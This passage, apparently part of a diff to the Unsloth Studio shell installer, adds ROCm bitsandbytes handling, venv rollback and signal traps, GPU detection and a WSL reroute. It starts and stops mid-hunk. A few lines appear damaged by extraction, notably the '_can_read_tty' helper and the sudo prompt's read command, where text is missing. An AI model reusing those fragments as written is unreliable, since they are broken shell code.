"$_ricr_max" ]; then + return "$_ricr_rc" + fi + substep "retrying \"$_ricr_label\" after transient failure (attempt $((_ricr_attempt + 1))/$_ricr_max, waiting ${_ricr_delay}s)..." "$C_WARN" + sleep "$_ricr_delay" || true + _ricr_attempt=$((_ricr_attempt + 1)) + _ricr_delay=$((_ricr_delay * 2)) + done +} + +# True when the runtime target is gfx906 (MI50/Radeon VII): the prebuilt AMD +# bitsandbytes wheel carries no gfx906 kernels, and force-reinstalling it would +# clobber a user's source-built bnb (the only 4-bit path on this arch) on every +# `studio update`. So skip the auto-install and leave whatever bnb is present. +# _gfx906_target is set during torch-index resolution; also honor an explicit +# UNSLOTH_ROCM_GFX_ARCH so a pinned-index install still skips. The override is +# normalized (gfx906:sramecc-:xnack- -> gfx906) so a copied HIP gcnArchName counts. +_is_gfx906_bnb_skip() { + [ "${_gfx906_target:-false}" = true ] && return 0 + _bnb_gfx_env=$(printf '%s' "${UNSLOTH_ROCM_GFX_ARCH:-}" | tr '[:upper:]' '[:lower:]' | tr -d '[:space:]') + _bnb_gfx_env=${_bnb_gfx_env%%:*} + [ "$_bnb_gfx_env" = "gfx906" ] && return 0 + # A pinned index (UNSLOTH_TORCH_INDEX_URL/_FAMILY) skips the reroute block that + # sets _gfx906_target, so a real gfx906 host with a pinned rocm6.3 index and no + # UNSLOTH_ROCM_GFX_ARCH would otherwise clobber a source-built bnb. Probe here + # in that gap; skip only when gfx906 is the SOLE distinct arch (mixed hosts + # opt in via the env var, mirroring the reroute block's de-dup rule). + if [ -z "$_bnb_gfx_env" ] && [ "${_torch_index_pinned:-false}" = true ]; then + _bnb_gfx_probe=$(_probe_amd_gfx_arch | awk 'NF && !seen[$0]++') + [ "$_bnb_gfx_probe" = "gfx906" ] && return 0 + fi + return 1 +} + +# `pip install unsloth` resolves its unconditional bitsandbytes dep to a generic +# CUDA wheel (no gfx906 kernels) once we skip the prebuilt one. Snapshot bnb before +# the unsloth install, then drop a freshly pulled wheel afterwards while leaving a +# pre-existing source build in place. +_gfx906_bnb_installed() { + "$_VENV_PY" -c "import importlib.util as u, sys; sys.exit(0 if u.find_spec('bitsandbytes') else 1)" >/dev/null 2>&1 +} +_gfx906_bnb_snapshot() { + _gfx906_bnb_absent_before=false + _is_gfx906_bnb_skip || return 0 + _gfx906_bnb_installed || _gfx906_bnb_absent_before=true +} +_gfx906_bnb_prune() { + _is_gfx906_bnb_skip || return 0 + [ "${_gfx906_bnb_absent_before:-false}" = true ] || return 0 + _gfx906_bnb_installed || return 0 + substep "gfx906: removing generic bitsandbytes pulled in as a dependency (no gfx906 kernels; build from source for 4-bit QLoRA)" "$C_WARN" + uv pip uninstall --python "$_VENV_PY" bitsandbytes >/dev/null 2>&1 \ + || "$_VENV_PY" -m pip uninstall -y bitsandbytes >/dev/null 2>&1 || true +} + +# Install bitsandbytes on AMD ROCm hosts. bnb <= 0.49.2 NaNs at 4-bit decode +# shape on every AMD GPU; the fix (bnb #1887) ships in continuous-release_main +# and, on PyPI, first in 0.50.0. Keep this floor in step with the amd extra in +# pyproject.toml and studio/install_python_stack.py. +_BNB_ROCM_PYPI_FALLBACK="bitsandbytes>=0.50.0" +# bitsandbytes ships no ROCm binary in its aarch64 wheel at any version: the PyPI +# 0.50.0 and continuous-release_main aarch64 wheels both carry only +# libbitsandbytes_cpu.so plus CUDA variants. So neither install path below gives +# aarch64 a 4-bit backend, and the messages must not claim one. Cf. gfx906. +_bnb_rocm_arch_has_binary() { + case "$_ARCH" in + aarch64|arm64) return 1 ;; + *) return 0 ;; + esac +} +_warn_bnb_no_rocm_binary() { + _bnb_rocm_arch_has_binary && return 0 + substep "[WARN] aarch64: bitsandbytes ships no ROCm kernels on this arch; 4-bit QLoRA needs a source build -- https://docs.unsloth.ai/get-started/install-and-update/amd" "$C_WARN" +} _install_bnb_rocm() { _label="$1" _venv_py="$2" @@ -181,9 +365,8 @@ _install_bnb_rocm() { _bnb_whl_url="" ;; esac - # uv rejects the continuous-release_main bitsandbytes wheel because the - # filename version (1.33.7rc0) does not match the embedded metadata version - # (0.50.0.dev0). pip accepts the mismatch, so bootstrap pip and use it. + # uv rejects the pre-release wheel: filename version (1.33.7rc0) does not + # match metadata (0.50.x.dev0). pip accepts it, so bootstrap pip and use it. if ! "$_venv_py" -m pip --version >/dev/null 2>&1; then if ! run_maybe_quiet "$_venv_py" -m ensurepip --upgrade; then run_maybe_quiet uv pip install --python "$_venv_py" pip || \ @@ -199,18 +382,26 @@ _install_bnb_rocm() { --retries 8 --timeout 90 \ "$_bnb_whl_url" >"$_bnb_log" 2>&1; then rm -f "$_bnb_log" + _warn_bnb_no_rocm_binary return 0 fi _bnb_rc=$? if _is_verbose; then - cat "$_bnb_log" >&2 + _redact_install_output "$_bnb_log" >&2 fi rm -f "$_bnb_log" step "warning" "$_label (pre-release) failed (exit code $_bnb_rc)" "$C_WARN" >&2 - substep "[WARN] bnb pre-release install failed; falling back to PyPI (4-bit decode broken on ROCm)" "$C_WARN" + if _bnb_rocm_arch_has_binary; then + substep "[WARN] bnb pre-release install failed; falling back to PyPI $_BNB_ROCM_PYPI_FALLBACK, which carries the ROCm 4-bit fix" "$C_WARN" + else + substep "[WARN] bnb pre-release install failed; falling back to PyPI $_BNB_ROCM_PYPI_FALLBACK" "$C_WARN" + fi fi run_install_cmd "$_label (pypi fallback)" "$_venv_py" -m pip install \ - --force-reinstall --no-cache-dir --no-deps "bitsandbytes>=0.49.1" + --force-reinstall --no-cache-dir --no-deps "$_BNB_ROCM_PYPI_FALLBACK" + _bnb_pypi_rc=$? + _warn_bnb_no_rocm_binary + return $_bnb_pypi_rc } if [ "$_next_is_package" = true ]; then @@ -221,6 +412,10 @@ if [ "$_next_is_python" = true ]; then echo "❌ ERROR: --python requires a version argument (e.g. --python 3.12)." >&2 exit 1 fi +if [ "$_next_is_llama_cpp_dir" = true ]; then + echo "❌ ERROR: --with-llama-cpp-dir requires a path argument." >&2 + exit 1 +fi # Validate --package to prevent injection into shell/Python commands. # Must start with a letter/digit (rejects leading dashes that uv would parse as flags). @@ -240,6 +435,34 @@ tauri_log() { fi } +tauri_stream_log() { + _tsl_stream="$1" + _tsl_tag="$2" + shift 2 + if [ "$TAURI_MODE" = true ]; then + if [ "$_tsl_stream" = stderr ]; then + printf '[TAURI:%s] %s\n' "$_tsl_tag" "$*" >&2 + else + printf '[TAURI:%s] %s\n' "$_tsl_tag" "$*" + fi + fi +} + +rollback_substep() { + if [ "$TAURI_MODE" = true ]; then + tauri_log "PROGRESS" "$1" + else + substep "$@" + fi +} + +tauri_clear_install_error() { + if [ "$TAURI_MODE" = true ]; then + tauri_log "ERROR_CLEAR" "$1" + printf '[TAURI:ERROR_CLEAR] %s\n' "$1" >&2 + fi +} + tauri_diag_marker() { _diag_gpu_branch="${1:-unknown}" _diag_torch_index_family="${2:-none}" @@ -252,6 +475,11 @@ _tauri_torch_index_family() { return fi _diag_url="${1:-}" + # Strip query/fragment AND a trailing slash before classifying (like _torch_index_url_leaf): + # a token isn't echoed into [TAURI:DIAG], and .../cu128/?token=x still classifies as cu128. + _diag_url="${_diag_url%%\?*}" + _diag_url="${_diag_url%%#*}" + _diag_url="${_diag_url%/}" case "$_diag_url" in */cu118) echo "cu118" ;; */cu124) echo "cu124" ;; @@ -285,7 +513,8 @@ _tauri_gpu_branch() { return fi case "$_diag_family" in - cu*) echo "cuda" ;; + # Require a digit after cu so /current or /custom isn't branded CUDA (parity ^cu[0-9]). + cu[0-9]*) echo "cuda" ;; rocm*) if [ "$_diag_radeon" = true ]; then echo "rocm_radeon" @@ -371,14 +600,20 @@ _start_studio_venv_replacement() { _stamp=$(date +%Y%m%d%H%M%S 2>/dev/null || echo "time") _candidate="$STUDIO_HOME/unsloth_studio.rollback.$_stamp.$$" _suffix=0 - while [ -e "$_candidate" ]; do + while [ -e "$_candidate" ] || [ -L "$_candidate" ]; do _suffix=$((_suffix + 1)) _candidate="$STUDIO_HOME/unsloth_studio.rollback.$_stamp.$$.$_suffix" done - mv "$_existing_dir" "$_candidate" _VENV_ROLLBACK_DIR="$_candidate" _VENV_ROLLBACK_TARGET="$_existing_dir" _VENV_ROLLBACK_ACTIVE=true + # Publish the rollback state before the atomic rename so a signal cannot + # land after mv but before the exit handlers know where the old venv went. + if ! mv "$_existing_dir" "$_candidate"; then + _VENV_ROLLBACK_ACTIVE=false + _VENV_ROLLBACK_DIR="" + return 1 + fi substep "previous environment preserved for rollback" } @@ -388,10 +623,10 @@ _restore_studio_venv_replacement() { _VENV_ROLLBACK_ACTIVE=false return 0 } - substep "restoring previous environment after failed install..." "$C_WARN" + rollback_substep "restoring previous environment after failed install..." "$C_WARN" rm -rf "$_VENV_ROLLBACK_TARGET" if mv "$_VENV_ROLLBACK_DIR" "$_VENV_ROLLBACK_TARGET"; then - substep "restored previous environment" + rollback_substep "restored previous environment" _VENV_ROLLBACK_ACTIVE=false _VENV_ROLLBACK_DIR="" else @@ -399,13 +634,68 @@ _restore_studio_venv_replacement() { fi } -_commit_studio_venv_replacement() { - [ "$_VENV_ROLLBACK_ACTIVE" = true ] || return 0 - if [ -n "$_VENV_ROLLBACK_DIR" ] && [ -d "$_VENV_ROLLBACK_DIR" ]; then - rm -rf "$_VENV_ROLLBACK_DIR" || true +_studio_venv_rollback_must_be_preserved() { + _rollback_name=${1##*/} + _rollback_metadata=${_rollback_name#unsloth_studio.rollback.} + _rollback_stamp=${_rollback_metadata%%.*} + _rollback_process=${_rollback_metadata#*.} + # Preserve anything outside the installer's timestamp.PID[.suffix] format. + [ "$_rollback_process" != "$_rollback_metadata" ] || return 0 + case "$_rollback_stamp" in + time) ;; + ''|*[!0-9]*) return 0 ;; + *) [ "${#_rollback_stamp}" -eq 14 ] || return 0 ;; + esac + _rollback_pid=${_rollback_process%%.*} + case "$_rollback_pid" in + ''|*[!0-9]*) return 0 ;; + esac + _rollback_suffix=${_rollback_process#*.} + if [ "$_rollback_suffix" != "$_rollback_process" ]; then + case "$_rollback_suffix" in ''|*[!0-9]*) return 0 ;; esac fi - _VENV_ROLLBACK_ACTIVE=false - _VENV_ROLLBACK_DIR="" + kill -0 "$_rollback_pid" 2>/dev/null +} + +_prune_stale_studio_venv_rollbacks() { + for _stale_rollback in "$STUDIO_HOME"/unsloth_studio.rollback.*; do + [ -d "$_stale_rollback" ] || continue + if [ -L "$_stale_rollback" ]; then + echo "⚠️ Refusing to remove rollback symlink $_stale_rollback" >&2 + continue + fi + # A concurrent installer may have moved its live venv aside. The PID in + # the generated name keeps this successful run from deleting its rescue copy. + _studio_venv_rollback_must_be_preserved "$_stale_rollback" && continue + if rm -rf "$_stale_rollback"; then + substep "removed stale environment rollback ${_stale_rollback##*/}" + else + echo "⚠️ Could not remove stale environment rollback $_stale_rollback" >&2 + fi + done +} + +_commit_studio_venv_replacement() { + if [ "$_VENV_ROLLBACK_ACTIVE" = true ]; then + _rollback_to_remove="$_VENV_ROLLBACK_DIR" + # The new environment is already committed. Clear the restore state + # before deletion so an interrupt cannot replace it with a half-deleted backup. + _VENV_ROLLBACK_ACTIVE=false + _VENV_ROLLBACK_DIR="" + if [ -n "$_rollback_to_remove" ] && [ -d "$_rollback_to_remove" ]; then + if ! rm -rf "$_rollback_to_remove"; then + echo "⚠️ Could not remove environment rollback $_rollback_to_remove" >&2 + fi + fi + fi + # Only prune older orphaned copies after the replacement has succeeded, so + # an interrupted install never discards the last known-good environment. + _prune_stale_studio_venv_rollbacks +} + +_cleanup_install_temporaries() { + [ -n "${_UV_OVERRIDE_TMPDIR:-}" ] && rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true + [ -n "${_UNSLOTH_TORCH_OVERRIDES:-}" ] && rm -f "$_UNSLOTH_TORCH_OVERRIDES" 2>/dev/null || true } _on_install_exit() { @@ -413,9 +703,28 @@ _on_install_exit() { if [ "$_status" -ne 0 ]; then _restore_studio_venv_replacement fi + _cleanup_install_temporaries exit "$_status" } + +_on_install_signal() { + _signal_status="$1" + # EXIT is disabled to avoid a second cleanup pass. Ignore further termination + # signals until the old environment is back in place. + trap - EXIT + trap '' HUP INT TERM + _restore_studio_venv_replacement + _cleanup_install_temporaries + exit "$_signal_status" +} +# Empty so an inherited value never reaches the trap's rm; only temp paths this +# script creates below (spaced-path dir, torch-trio overrides) are removed. +_UV_OVERRIDE_TMPDIR="" +_UNSLOTH_TORCH_OVERRIDES="" trap _on_install_exit EXIT +trap '_on_install_signal 129' HUP +trap '_on_install_signal 130' INT +trap '_on_install_signal 143' TERM # ── Helper: download a URL to a file (supports curl and wget) ── download() { @@ -441,6 +750,45 @@ _is_pkg_installed() { esac } +# ── Helper: human-readable apt distro label for the sudo package prompt (#6207) ── +# Reads /etc/os-release so the Accept? prompt can say which distro we detected and +# that packages come from that distro's official apt repos (not a tarball). +_apt_distro_description() { + # Plain ( ... ) subshell — not $() — so case/;; stays bash-3.2-safe on macOS. + # Bash 3.2 misparses case arms inside command substitution and errors on `;;`. + ( + if [ ! -r /etc/os-release ]; then + printf 'a debian-like system' + exit 0 + fi + # shellcheck disable=SC1091 + . /etc/os-release 2>/dev/null || true + if [ -n "${NAME:-}" ] && [ -n "${VERSION_ID:-}" ]; then + _ad_label="$NAME $VERSION_ID" + elif [ -n "${PRETTY_NAME:-}" ]; then + _ad_label="$PRETTY_NAME" + elif [ -n "${NAME:-}" ]; then + _ad_label="$NAME" + else + printf 'a debian-like system' + exit 0 + fi + case " ${ID:-} ${ID_LIKE:-} " in + *" debian "*|*" ubuntu "*) _ad_label="${_ad_label} (debian-like)" ;; + esac + printf '%s' "$_ad_label" + ) +} + +# ── Helper: can the controlling terminal actually be opened for reading? ── +# `test -r` only checks permission bits, which look fine in containers and +# systemd units where open() then fails with ENXIO. Probe with a real open. +# The subshell is required: in dash a failed redirection on the special +# builtin `:` exits the whole script. +_can_read_tty() { + ( : /dev/null 2>&1 +} + # ── Helper: install packages via apt, escalating to sudo only if needed ── # Usage: _smart_apt_install pkg1 pkg2 pkg3 ... _smart_apt_install() { @@ -463,39 +811,90 @@ _smart_apt_install() { return 0 fi - # In Tauri mode, report needed packages and exit — Rust handles elevation + # Optional callers never elevate, in any mode: nothing on the consumer path + # builds anything, so neither the terminal sudo prompt below nor the Tauri + # NEED_SUDO dialog (whose Cancel leaves the user not installed) may gate the + # run over unused tools. The caller falls through to prebuilt llama.cpp. + # Required packages such as curl still escalate. + if [ "${_SMART_APT_OPTIONAL:-false}" = true ]; then + return 2 + fi + if [ "$TAURI_MODE" = true ]; then + # Report needed packages and exit — Rust handles elevation. tauri_log "NEED_SUDO" "$_STILL_MISSING" exit 2 fi # Step 3: Escalate -- need elevated permissions for remaining packages if command -v sudo >/dev/null 2>&1; then + _ad_desc="$(_apt_distro_description)" echo "" echo " !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo " WARNING: We require sudo elevated permissions to install:" echo " $_STILL_MISSING" - echo " If you accept, we'll run sudo now, and it'll prompt your password." + echo " Detected ${_ad_desc}." + echo " If you accept, we'll run sudo apt-get to install these packages" + echo " from your distro's official repositories (not a third-party tarball)." echo " !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!" echo "" - printf " Accept? [Y/n] " - if [ -r /dev/tty ]; then - read -r REPLY /dev/null || true) case "$_p" in ''|*[!0-9]*) ;; @@ -839,7 +1238,7 @@ _acquire_lock() { # Lock dir exists -- check if owner is still alive _old_pid=$(cat "$LOCK_DIR/pid" 2>/dev/null || true) if [ -n "$_old_pid" ] && kill -0 "$_old_pid" 2>/dev/null; then - # Another launcher is running; wait for it to bring Studio up + # Another launcher is running; wait for it to bring Unsloth up _deadline=$(($(date +%s) + TIMEOUT_SEC)) while [ "$(date +%s)" -lt "$_deadline" ]; do _port=$(_find_healthy_port) && { @@ -1227,6 +1626,10 @@ if (-not \$targetExe) { exit 1 } # native install if one exists) so the WSL shortcut shows the proper icon. \$iconDir = Join-Path \$env:LOCALAPPDATA 'Unsloth Studio' \$iconPath = Join-Path \$iconDir 'unsloth.ico' +\$preIconHash = \$null +if (Test-Path -LiteralPath \$iconPath) { + try { \$preIconHash = (Get-FileHash -LiteralPath \$iconPath -Algorithm SHA256).Hash } catch {} +} if (-not (Test-Path -LiteralPath \$iconPath)) { try { New-Item -ItemType Directory -Force -Path \$iconDir | Out-Null @@ -1242,9 +1645,11 @@ if (Test-Path -LiteralPath \$iconPath) { (Join-Path \$env:APPDATA 'Microsoft\Windows\Start Menu\Programs') ) \$created = @() +\$firstShortcut = \$false foreach (\$dir in \$locations) { if (-not \$dir -or -not (Test-Path \$dir)) { continue } \$linkPath = Join-Path \$dir '$_css_lnk_name_ps' + if (-not (Test-Path -LiteralPath \$linkPath)) { \$firstShortcut = \$true } \$shortcut = \$WshShell.CreateShortcut(\$linkPath) \$shortcut.TargetPath = \$targetExe \$shortcut.Arguments = '$_css_sc_args_ps' @@ -1253,27 +1658,43 @@ foreach (\$dir in \$locations) { \$shortcut.Save() \$created += \$linkPath } -# Force Explorer to re-read EACH new shortcut's icon so it renders immediately -# instead of a stale/blank (generic) icon. The reliable, NON-disruptive fix -# (no explorer restart) is a PER-ITEM SHChangeNotify(SHCNE_UPDATEITEM, -# SHCNF_PATHW, ) -- the global SHCNE_ASSOCCHANGED alone does not recover a -# stale item. Also clear the on-disk icon cache for heavier staleness. -try { & "\$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache } catch {} -try { & "\$env:SystemRoot\System32\ie4uinit.exe" -show } catch {} +\$iconChanged = \$false +if (\$hasIcon) { + if (-not \$preIconHash) { + \$iconChanged = \$true + } else { + try { + \$postIconHash = (Get-FileHash -LiteralPath \$iconPath -Algorithm SHA256).Hash + \$iconChanged = (\$postIconHash -ne \$preIconHash) + } catch { \$iconChanged = \$true } + } +} elseif (\$preIconHash) { + \$iconChanged = \$true +} +# Per-item refresh always (cheap, non-disruptive) so the rewritten .lnk renders +# immediately instead of a stale/blank (generic) icon. The reliable fix (no +# explorer restart) is a PER-ITEM SHChangeNotify(SHCNE_UPDATEITEM, SHCNF_PATHW, +# ) -- the global SHCNE_ASSOCCHANGED alone does not recover a stale item. try { Add-Type -Namespace UnslothShell -Name IconRefresh -MemberDefinition '[System.Runtime.InteropServices.DllImport("shell32.dll", CharSet = System.Runtime.InteropServices.CharSet.Unicode)] public static extern void SHChangeNotify(int e, uint f, string a, System.IntPtr b);' -ErrorAction SilentlyContinue foreach (\$p in \$created) { try { [UnslothShell.IconRefresh]::SHChangeNotify(0x00002000, 0x0005, \$p, [System.IntPtr]::Zero) } catch {} } [UnslothShell.IconRefresh]::SHChangeNotify(0x08000000, 0, \$null, [System.IntPtr]::Zero) } catch {} -# Win11 Start Menu keeps its own tile-icon cache (preserve start2.bin). -try { - \$smeh = Join-Path \$env:LOCALAPPDATA 'Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState' - if (Test-Path -LiteralPath \$smeh) { - Get-ChildItem -LiteralPath \$smeh -Filter 'TileCache_*' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue - Remove-Item -LiteralPath (Join-Path \$smeh 'StartUnifiedTileModelCache.dat') -Force -ErrorAction SilentlyContinue - Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue - } -} catch {} +# Heavier on-disk icon-cache clear + StartMenuExperienceHost tile rebuild +# (preserve start2.bin) only on first install or a real icon change, so a no-op +# WSL reinstall does not run a dropper-like clear-cache + kill cluster each time. +if (\$created.Count -gt 0 -and (\$firstShortcut -or \$iconChanged)) { + try { & "\$env:SystemRoot\System32\ie4uinit.exe" -ClearIconCache } catch {} + try { & "\$env:SystemRoot\System32\ie4uinit.exe" -show } catch {} + try { + \$smeh = Join-Path \$env:LOCALAPPDATA 'Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState' + if (Test-Path -LiteralPath \$smeh) { + Get-ChildItem -LiteralPath \$smeh -Filter 'TileCache_*' -ErrorAction SilentlyContinue | Remove-Item -Force -ErrorAction SilentlyContinue + Remove-Item -LiteralPath (Join-Path \$smeh 'StartUnifiedTileModelCache.dat') -Force -ErrorAction SilentlyContinue + Stop-Process -Name StartMenuExperienceHost -Force -ErrorAction SilentlyContinue + } + } catch {} +} WSLPS1_EOF # Convert WSL path to Windows path for powershell.exe @@ -1287,7 +1708,7 @@ WSLPS1_EOF # shortcut wasn't created; tell the user how to launch / re-enable it. if [ "$_css_created" -ne 1 ]; then substep "Couldn't create the Windows shortcut (WSL interop may be disabled)." "$C_WARN" - substep " Launch Studio from Windows: wsl -d \"$_css_distro\" -- bash -lc 'unsloth studio'" "$C_WARN" + substep " Launch Unsloth from Windows: wsl -d \"$_css_distro\" -- bash -lc 'unsloth studio'" "$C_WARN" substep " (re-enable shortcuts: turn WSL interop back on, e.g. run 'wsl --shutdown' then reopen WSL.)" "$C_WARN" fi fi @@ -1355,7 +1776,7 @@ if [ "$MAC_INTEL" = true ]; then echo "" echo " NOTE: Intel Mac (x86_64) detected." echo " PyTorch is unavailable for this platform (dropped Jan 2024)." - echo " Studio will install in GGUF-only mode." + echo " Unsloth will install in GGUF-only mode." echo " Chat, inference via GGUF, and data recipes will work." echo " Training requires Apple Silicon or Linux with GPU." echo "" @@ -1367,10 +1788,35 @@ if [ "$_NO_TORCH_FLAG" = true ] || [ "$MAC_INTEL" = true ]; then SKIP_TORCH=true fi +# Apple Silicon: exclude broken mlx-lm 0.31.3 (QK-norm load regression for +# gemma4 / qwen3_5; mlx-lm #1242). A curl-piped install has no overrides file +# and skips the guarded MLX step (SKIP_STUDIO_BASE=1), so this is the only cover. +_MLX_LM_EXCLUDE_ARG="" + # Apple Silicon: override mlx-vlm / mlx-lm's transformers pin (see overrides file). if [ "$OS" = "macos" ] && [ "$_ARCH" = "arm64" ]; then + _MLX_LM_EXCLUDE_ARG="mlx-lm!=0.31.3" _OVERRIDES_FILE="$(cd "$(dirname "$0" 2>/dev/null || echo ".")" && pwd)/studio/backend/requirements/single-env/overrides-darwin-arm64.txt" if [ -f "$_OVERRIDES_FILE" ]; then + # uv splits UV_OVERRIDE on whitespace, so a repo path with whitespace + # truncates it and aborts every later uv call (issue #6503). Hand uv a copy. + case "$_OVERRIDES_FILE" in + *[[:space:]]*) + _UV_OVERRIDE_TMPDIR=$(mktemp -d 2>/dev/null) || _UV_OVERRIDE_TMPDIR="" + case "$_UV_OVERRIDE_TMPDIR" in + "") ;; + *[[:space:]]*) rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true; _UV_OVERRIDE_TMPDIR="" ;; + *) + if cp "$_OVERRIDES_FILE" "$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" 2>/dev/null; then + _OVERRIDES_FILE="$_UV_OVERRIDE_TMPDIR/overrides-darwin-arm64.txt" + else + rm -rf "$_UV_OVERRIDE_TMPDIR" 2>/dev/null || true + _UV_OVERRIDE_TMPDIR="" + fi + ;; + esac + ;; + esac export UV_OVERRIDE="$_OVERRIDES_FILE" fi fi @@ -1383,85 +1829,364 @@ elif [ "$OS" = "macos" ]; then fi tauri_diag_marker "$_TAURI_INITIAL_GPU_BRANCH" "none" -# ── Check system dependencies ── -# cmake and git are needed by unsloth studio setup to build the GGUF inference -# engine (llama.cpp). build-essential and libcurl-dev are also needed on Linux. -tauri_log "STEP" "Checking system dependencies" -MISSING="" +# AMD GPU name from the Windows host via WMI, or empty. Discrete cards aren't in +# /proc/cpuinfo, so ask Windows. Cached ("-" = negative), self-contained, bounded +# to 10s. Defined here so the reroute below can use it before _run_bounded exists. +_WSL_AMD_GPU_NAME_CACHE="" +_wsl_amd_gpu_name() { + if [ -n "$_WSL_AMD_GPU_NAME_CACHE" ]; then + [ "$_WSL_AMD_GPU_NAME_CACHE" = "-" ] && return 1 + printf '%s' "$_WSL_AMD_GPU_NAME_CACHE"; return 0 + fi + command -v powershell.exe >/dev/null 2>&1 || { _WSL_AMD_GPU_NAME_CACHE="-"; return 1; } + _wag_ps="(Get-CimInstance Win32_VideoController | Where-Object { \$_.Name -match 'AMD|Radeon' } | Select-Object -First 1).Name" + if command -v timeout >/dev/null 2>&1; then + _wag_n="$(timeout 10 powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')" + else + _wag_n="$(powershell.exe -NoProfile -Command "$_wag_ps" 2>/dev/null | tr -d '\r\n\000')" + fi + if [ -n "$_wag_n" ]; then _WSL_AMD_GPU_NAME_CACHE="$_wag_n"; printf '%s' "$_wag_n"; return 0; fi + _WSL_AMD_GPU_NAME_CACHE="-"; return 1 +} -command -v cmake >/dev/null 2>&1 || MISSING="$MISSING cmake" -command -v git >/dev/null 2>&1 || MISSING="$MISSING git" +# ── Bounded command runner ── +# Runs a command under a 10s timeout when the `timeout` binary is available, +# otherwise runs it unbounded. Keeps a wedged nvidia-smi (blocking during +# driver init or after a reset) from hanging the installer: a timed-out probe +# exits nonzero and is treated exactly like a failed probe. No-op semantics on +# hosts without `timeout` (e.g. macOS) or when the probe is healthy. +_run_bounded() { + if command -v timeout >/dev/null 2>&1; then + timeout 10 "$@" + else + "$@" + fi +} + +# Returns 0 (true) when CUDA_VISIBLE_DEVICES is set to "" or "-1", i.e. every +# NVIDIA device is deliberately hidden (mixed AMD+NVIDIA hosts steering work to +# the AMD card). Unset means all devices visible. nvidia-smi ignores this env +# var, so the probes below cannot see the distinction on their own. +_cvd_hides_nvidia() { + [ "${CUDA_VISIBLE_DEVICES+set}" = "set" ] || return 1 + _cvd_trim=$(printf '%s' "$CUDA_VISIBLE_DEVICES" | tr -d '[:space:]') + [ -z "$_cvd_trim" ] || [ "$_cvd_trim" = "-1" ] +} + +# ── NVIDIA usable-GPU helper ── +# Returns 0 (true) if an NVIDIA GPU is present and usable. +# Primary probe: nvidia-smi -L. Fallback: /proc/driver/nvidia/gpus/ sysfs, +# which the NVIDIA driver populates on Linux regardless of nvidia-smi state +# -- handles PATH gaps, subprocess timeouts, and driver init races that +# could otherwise cause nvidia-smi to fail and silence NVIDIA detection. +# A GPU hidden via CUDA_VISIBLE_DEVICES=""/-1 counts as NOT usable (matches +# install_llama_prebuilt.py has_usable_nvidia), so AMD/CPU routing still runs. +_has_usable_nvidia_gpu() { + if _cvd_hides_nvidia; then + return 1 + fi + _nvsmi="" + if command -v nvidia-smi >/dev/null 2>&1; then + _nvsmi="nvidia-smi" + elif [ -x "/usr/bin/nvidia-smi" ]; then + _nvsmi="/usr/bin/nvidia-smi" + fi + if [ -n "$_nvsmi" ]; then + if _run_bounded "$_nvsmi" -L 2>/dev/null | awk '/^GPU[[:space:]]+[0-9]+:/{found=1} END{exit !found}'; then + return 0 + fi + fi + # Fallback: NVIDIA driver exposes one subdir per GPU under this path. + if [ -d /proc/driver/nvidia/gpus ] && \ + [ -n "$(ls -A /proc/driver/nvidia/gpus 2>/dev/null)" ]; then + return 0 + fi + return 1 +} + +# Strix Halo ROCm-on-WSL only targets Ubuntu 24.04. On a newer distro (e.g. 26.04) +# with a 24.04 distro present, re-run the install there and stop; else fall through +# to CPU + the `wsl --install` hint below (never auto-create a distro). Runs before +# the STUDIO_HOME mkdir/venv so the origin distro is untouched. +_maybe_reroute_strixhalo_to_2404() { + [ "${OS:-}" = "wsl" ] || return 0 + # An explicit index pin skips every GPU-driven reroute (same contract as + # the later Radeon/Strix guard): the pin is honored in THIS distro rather + # than probing the GPU and switching distributions. Whitespace-only + # overrides do not gate (parity with get_torch_index_url). + _rr_pin=$(printf '%s' "${UNSLOTH_TORCH_INDEX_URL:-}${UNSLOTH_TORCH_INDEX_FAMILY:-}" | tr -d '[:space:]') + [ -n "$_rr_pin" ] && return 0 + [ "${SKIP_TORCH:-false}" = "false" ] || return 0 + [ "${UNSLOTH_SKIP_ROCM_WSL_SETUP:-0}" = "1" ] && return 0 + [ "${UNSLOTH_WSL_REROUTED:-0}" = "1" ] && return 0 + [ -e /dev/dxg ] || return 0 + # A usable NVIDIA GPU (common on hybrid AMD+NVIDIA hosts) means the CUDA path works on + # this distro, so don't reroute for AMD. _has_usable_nvidia_gpu (moved above) honors + # CUDA_VISIBLE_DEVICES=""/-1 and the /proc/driver/nvidia fallback for PATH/timeout gaps. + if _has_usable_nvidia_gpu; then return 0; fi + # Strix APUs show in /proc/cpuinfo; discrete cards don't, so also try WMI. Either reroutes. + if ! grep -qiE 'Ryzen AI Max|Radeon 80[0-9][05]S|Strix Halo' /proc/cpuinfo 2>/dev/null \ + && ! _wsl_amd_gpu_name >/dev/null 2>&1; then + return 0 + fi + # Already ROCm-on-WSL? leave a working GPU alone, whatever the version. + if [ -e /opt/rocm/lib/librocdxg.so ] || [ -e /opt/rocm/lib64/librocdxg.so ]; then + return 0 + fi + _rr_ver="" + [ -r /etc/os-release ] && _rr_ver=$(. /etc/os-release 2>/dev/null; printf '%s' "${VERSION_ID:-}") + # The bootstrap (scripts/install_rocm_wsl_strixhalo.sh) dies on any VERSION_ID but + # 24.04 and pins the noble repo, so 24.04 is the sole GPU-supported target; leave a + # 24.04 user alone. (Working ROCm on other versions was caught by librocdxg above.) + case "$_rr_ver" in 24.04) return 0 ;; esac + # Distro is now unsupported. If we can't reroute to a 24.04 target, stay CPU-only + # AND skip the later origin-distro ROCm bootstrap (it ignores distro version, so it + # would otherwise install ROCm into 26.04 etc.). + command -v wsl.exe >/dev/null 2>&1 || { UNSLOTH_SKIP_ROCM_WSL_SETUP=1; return 0; } + # Route only to an installed Ubuntu-24.04 (bootstrap's only target). Match the whole + # line (one distro per line from wsl.exe -l -q), not a substring, so "Ubuntu-24.04-test" 